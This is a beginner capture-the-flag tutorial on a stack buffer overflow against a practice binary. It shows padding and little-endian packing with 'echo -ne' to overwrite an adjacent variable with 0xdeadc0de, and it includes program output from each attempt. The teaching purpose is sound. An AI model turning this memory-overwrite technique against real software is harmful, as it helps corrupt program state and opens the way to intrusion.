Now, we will do a slight variation on a similar challenge. Now, we need to change the data to a specific value. Let's look at the challenge description:
./challYour goal is to modify the variable @ 0x7fffa65e6828to equal 0xdeadc0de0x7fffa65e6810: 0x0000000000000000 0x00000000000000000x7fffa65e6820: 0x0000000000000000 0x00000000deadbeefEnter input:Our padding is identical. Instead of overwriting the Red block with random data, we must fill it with something meaningful.
We can see that the padding will be the same as the last challenge. Ensure you understand how to compute that padding, even without the challenge providing the visualization. Instead of filling that block with random characters, like B, we must fill it with 0xdeadc0de. If we try filling this, it doesn't quite work:
python3 -c "print('A'*24 + '0xdeadc0de')" | ./challYour goal is to modify the variable @ 0x7ffc845fdff8to equal 0xdeadc0de0x7ffc845fdfe0: 0x0000000000000000 0x00000000000000000x7ffc845fdff0: 0x0000000000000000 0x00000000deadbeefEnter input:0x7ffc845fdfe0: 0x4141414141414141 0x41414141414141410x7ffc845fdff0: 0x4141414141414141 0x0063646165647830You did not modify the target...Did you supply enough padding? Try again!Why doesn't the data show deadc0de? This is because the data is read in as characters rather than hexadecimal. We can decode the Red block's bytes in Python to see it:
# the Red block came back as 0x0063646165647830 — decode those bytesbytes.fromhex("0063646165647830")b'\x00cdaedx0'# our text is in there, just reversedbytes.fromhex("0063646165647830")[::-1]b'0xdeadc\x00'This tells us we must send the data as bytes to the binary. If we ask for the raw bytes of 0xdeadc0de, we get nonsense:
bytes.fromhex("deadc0de")b'\xde\xad\xc0\xde'This is because most of these characters aren't on the ASCII table! The ASCII table only supports up to 0x7F, so these print as escape sequences rather than characters. We can confirm the range with man ascii:
man ascii 070 56 38 8 170 120 78 x 071 57 39 9 171 121 79 y 072 58 3A : 172 122 7A z 073 59 3B ; 173 123 7B { 074 60 3C < 174 124 7C | 075 61 3D = 175 125 7D } 076 62 3E > 176 126 7E ~ 077 63 3F ? 177 127 7F DELTherefore, we can't abuse this using a plaintext input. We need something else to print these bytes and pass them to the binary. We'll use echo for the sake of simplicity. The -e flag will evaluate bytes and return their "ASCII equivalent". Let's pack these up and send them:
echo -e "AAAAAAAAAAAAAAAAAAAAAAAA\xde\xad\xc0\xde" | ./challYour goal is to modify the variable @ 0x7ffdba5af5d8to equal 0xdeadc0de0x7ffdba5af5c0: 0x0000000000000000 0x00000000000000000x7ffdba5af5d0: 0x0000000000000000 0x00000000deadbeefEnter input:0x7ffdba5af5c0: 0x4141414141414141 0x41414141414141410x7ffdba5af5d0: 0x4141414141414141 0x0000000adec0addeYou did not modify the target...Did you supply enough padding? Try again!With this input, we notice two major problems:
0x0a byte at the end of our input! Referencing the ASCII table, this is the newline character:012 10 0A LF '\n' (new line)We can fix the second problem using the -n flag for echo, which doesn't include a newline character in the output. Now, let's discuss the first issue.
Nearly all executables are written as LSB (Least Significant Byte) binaries. This means that when the binary reads a block (8 bytes on the stack), it reads the least significant byte first. This is backward from how humans read, who read in MSB (Most Significant Byte). To us, the binary reads from right to left, causing our input to be read backward. To fix this, we need to pack our input backward.
Once we make these two fixes, we get a successful overwrite!
echo -ne "AAAAAAAAAAAAAAAAAAAAAAAA\xde\xc0\xad\xde" | ./challYour goal is to modify the variable @ 0x7fff83dd83c8to equal 0xdeadc0de0x7fff83dd83b0: 0x0000000000000000 0x00000000000000000x7fff83dd83c0: 0x0000000000000000 0x00000000deadbeefEnter input:0x7fff83dd83b0: 0x4141414141414141 0x41414141414141410x7fff83dd83c0: 0x4141414141414141 0x00000000deadc0deCongrats! You successfully overwrote the variable with the correct value.